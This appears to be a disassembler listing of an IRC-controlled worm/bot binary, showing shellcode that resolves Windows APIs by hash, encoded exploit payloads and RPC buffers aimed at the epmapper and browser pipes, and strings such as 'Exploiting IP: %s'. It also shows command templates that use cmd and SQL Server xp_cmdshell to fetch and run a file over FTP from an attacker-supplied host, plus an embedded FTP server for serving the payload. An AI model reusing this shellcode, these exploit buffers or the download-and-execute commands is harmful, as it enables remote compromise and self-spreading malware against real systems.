; ---------------------------------------------------------------------------
loc_434EC4: ; CODE XREF: sub_434EA8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_434EA8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_434ECD proc near ; CODE XREF: sub_434E08+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_434EE5: ; CODE XREF: sub_434ECD+1Ej
cmp [ecx], ebx
jz short loc_434EED
mov ecx, [ecx]
jmp short loc_434EE5
; ---------------------------------------------------------------------------
loc_434EED: ; CODE XREF: sub_434ECD+1Aj
mov edx, edi
loc_434EEF: ; CODE XREF: sub_434ECD+2Aj
cmp [edx+4], ebx
jz short loc_434EF9
mov edx, [edx+4]
jmp short loc_434EEF
; ---------------------------------------------------------------------------
loc_434EF9: ; CODE XREF: sub_434ECD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_434ECD endp
; =============== S U B R O U T I N E =======================================
sub_434F04 proc near ; CODE XREF: sub_434E08+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_434F04 endp
; =============== S U B R O U T I N E =======================================
sub_434F1A proc near ; CODE XREF: sub_434E08+16p
; sub_434E08+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_434F30: ; CODE XREF: sub_434F1A+33j
jecxz short loc_434F6A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_434F3D: ; CODE XREF: sub_434F1A+2Dj
lodsb
cmp al, ah
jz short loc_434F49
ror edi, 0Dh
add edi, eax
jmp short loc_434F3D
; ---------------------------------------------------------------------------
loc_434F49: ; CODE XREF: sub_434F1A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_434F30
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_434F6A: ; CODE XREF: sub_434F1A:loc_434F30j
; sub_434F1A:loc_434F6Aj
jmp short loc_434F6A
sub_434F1A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_434F70 proc near ; DATA XREF: .XPack0:0040D4CBo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_434FC2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_434F8D: ; CODE XREF: sub_434F70+38j
jecxz short loc_434FBD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_434F98: ; CODE XREF: sub_434F70+32j
lodsb
test al, al
jz short loc_434FA4
ror edx, 0Dh
add edx, eax
jmp short loc_434F98
; ---------------------------------------------------------------------------
loc_434FA4: ; CODE XREF: sub_434F70+2Bj
cmp edx, [esp+arg_0]
jnz short loc_434F8D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_434FBD: ; CODE XREF: sub_434F70:loc_434F8Dj
mov [esp+arg_0], ebx
retn
sub_434F70 endp
; =============== S U B R O U T I N E =======================================
sub_434FC2 proc near ; CODE XREF: sub_434F70+7p
; FUNCTION CHUNK AT 00434FFA SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_434FDB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_434FE6
; ---------------------------------------------------------------------------
loc_434FDB: ; CODE XREF: sub_434FC2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_434FE6: ; CODE XREF: sub_434FC2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_434FFA
sub_434FC2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_434FED proc near ; CODE XREF: sub_434FC2:loc_434FFAp
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_434FED endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_434FC2
loc_434FFA: ; CODE XREF: sub_434FC2+29j
call sub_434FED
loc_434FFF: ; DATA XREF: sub_40CCAA+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_434FC2
; ---------------------------------------------------------------------------
dw 0
dword_435004 dd 62B0606h, 2050501h, 0A0hdword_435010 dd 30h dword_435014 dd 0A1h dword_435018 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40CCAA+153o
align 4
loc_435024: ; DATA XREF: sub_40CCAA+E8o
jmp short near ptr dword_43502C
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_43502C dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .XPack0:0040D4F2o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
dword_435098 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; .XPack0:0040E05Ao
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_4350E8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DBEF+120o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dword_435244 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_43544C dd 20h, 0 dd 20h, 5C005Ch, 0
off_435460 dd offset aAdvapi32_dllFa+18h ; DATA XREF: sub_40DBEF+15Ao
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dword_4354A0 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DBEF+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_4355B0 dd 10016C6h dword_4355B4 dd 100139Dh asc_4355B8: ; DATA XREF: sub_40DA56+1Co
; sub_40DB39+16o
unicode 0, <\\>,0
align 10h
off_4355C0 dd offset dword_49005C ; DATA XREF: sub_40DA56+Co
; sub_40DB39+Bo
dd offset aAdvapi32_dllFa+0Ch
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .XPack0:0040E128o
align 4
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0
; DATA XREF: .XPack0:0040E0DBo
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .XPack0:0040DE80o
align 4
dword_435628 dd 1F353103h, 34031F28h, 313003B7h, 6C71736Dh, 3B73403h
; DATA XREF: .XPack0:0040E8C3o
dd 291F3531h, 203201Fh, 79720254h, 3A676E69h, 73252820h
dd 2964253Ah, 2550220h, 3A726573h, 73252820h, 2973252Fh
dd 2Eh
dword_435668 dd 21F5B1Fh, 544F4F52h, 1F024445h, 0BB201F5Dh, 4920BBBBh
; DATA XREF: .XPack0:0040E841o
dd 25203A50h, 73h
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .XPack0:0040E82Co
align 8
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: .XPack0:0040E7F5o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: .XPack0:0040E757o
align 10h
dword_435770 dd 0E983C933h, 0D9EED9AFh, 5BF42474h; ---------------------------------------------------------------------------
loc_43577C: ; CODE XREF: .XPack0:00435786j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_43577C
inc edi
jz short loc_4357C3
and eax, 952CE753h
inc esp
jle short loc_4357EB
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_4357C3: ; CODE XREF: .XPack0:00435789j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_435822+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_4357E8: ; CODE XREF: .XPack0:00435815j
xor [esi-25h], bl
loc_4357EB: ; CODE XREF: .XPack0:00435791j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_435804: ; CODE XREF: .XPack0:00435837j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_4357E8
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_435822: ; CODE XREF: .XPack0:004357C9j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_4358AE
jo short loc_435804
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_435845+1
add bl, [edi]
loc_435845: ; CODE XREF: .XPack0:00435841j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_43585A+2
cmp ch, bh
dec edx
loc_43585A: ; CODE XREF: .XPack0:00435855j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_4358AE: ; CODE XREF: .XPack0:00435835j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_435934
sub al, 0BCh
jmp near ptr 54455CA2h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_4358D0 dd 0EFFFC481h, 44FFFFh, 43591Chdword_4358DC dd 42Ah dword_4358E0 dd 3E8h dword_4358E4 dd 258h byte_4358E8 db 0 ; DATA XREF: sub_40EA40+1EFr
; sub_40EA40+2CFr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_435900 dd 20804h ; sub_40EA40+2E8o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .XPack0:004358ECo
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_435934: ; CODE XREF: .XPack0:004358B8j
push eax
xor al, 29h
loc_435937: ; DATA XREF: sub_40EA40+211o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_435940 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_435954 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40EA40+78o
align 4
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40EA40+2Fo
align 4
dword_435988 dd 200F1001h, 0Ah, 1001802h, 0 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40EFE5+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40F219+130o
; sub_41A2D6+21o
align 10h
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40F405+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F6A7+5CAo
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F6A7+5A9o
align 10h
dword_436CD0 dd 1F023103h, 3021F8Ch, 0B71F3531h, 3430031Fh, 1F024602h
; DATA XREF: sub_40F6A7+558o
dd 70021F54h, 35310302h, 31FB71Fh, 203A3431h, 31F8B1Fh
dd 31F4F31h, 1FB73430h, 30031F1Fh, 31F7731h, 3B73430h
dd 21F3430h, 31F024Eh, 3B73430h, 651F3130h, 30031F1Fh
dd 1FB71F34h, 44313003h, 3431031Fh, 30031F9Bh, 73252034h
dd 0
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F6A7+546o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F6A7+4EBo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40F6A7+4D3o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F6A7+4C3o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F6A7+4B2o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F6A7+47Fo
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F6A7+43Bo
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40F6A7+402o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F6A7+3D4o
align 10h
aList_0 db 'LIST',0 ; DATA XREF: sub_40F6A7+3C1o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F6A7+386o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40F6A7+373o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F6A7+363o
aI_0: ; DATA XREF: sub_40F6A7+34Fo
; .XPack0:0043AC78o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F6A7+328o
aA_0: ; DATA XREF: sub_40F6A7+314o
; .XPack0:0043AC84o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40F6A7+2FDo
; sub_40F6A7+338o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F6A7+2EDo
align 4
off_436E94 dd offset dword_445750 ; DATA XREF: sub_40F6A7+2D9o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F6A7+2C9o
align 4
aRest db 'REST',0 ; DATA XREF: sub_40F6A7+2B5o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F6A7+2A5o
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40F6A7+291o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F6A7+281o
align 4
aPass_0 db 'PASS',0 ; DATA XREF: sub_40F6A7+26Do
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F6A7+25Do
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_40F6A7+248o
align 4
aSS_0 db '%s %s',0 ; DATA XREF: sub_40F6A7+237o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F6A7+1B9o
align 4
unk_436F2C db 2 ; DATA XREF: sub_40FDBE+3D3o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 2, 48h, 2
db 74h ; t
db 74h, 70h, 64h
db 3
db 30h, 34h, 2Ch
db 3
db 31h, 34h, 3Ah
db 3
a4ServerFailedR db '4 Server Failed, returned %d',0
align 4
asc_436F68 db 0Dh,0Ah,0 ; DATA XREF: sub_40FDBE+2BEo
; sub_41AB47+F2o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FDBE+258o
align 8
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4101F4+F0o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4101F4+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_4101F4+97o
; sub_41B0A1+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4101F4+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_4101F4:loc_41025Fo
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_4101F4+64o
align 10h
unk_437190 db 2 ; DATA XREF: sub_410370+27Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 2, 48h, 2
db 74h ; t
db 74h, 70h, 64h
db 3
db 30h, 34h, 2Ch
db 3
db 31h, 34h, 3Ah
db 3
a4FailedToSta_0 db '4 failed to start worker thread, error %d',0
align 4
unk_4371D8 db 2 ; DATA XREF: sub_410370+20Ao
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 34h, 2, 48h
db 2
db 2 dup(74h), 70h
db 64h ; d
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 34h
db 3Ah ; :
db 3, 20h, 57h
aOrkerThreadOfS db 'orker Thread Of Server Thread: %d.',0
align 4
asc_43721C: ; DATA XREF: sub_410370+156o
unicode 0, <*>,0
aS_5 db '\%s',0 ; DATA XREF: sub_410370+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41061F+64Do
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41061F+61Do
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41061F+58Eo
align 8
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41061F+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41061F:loc_410B42o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41061F+51Co
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41061F+476o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+439o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41061F+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41061F:loc_4109ECo
align 10h
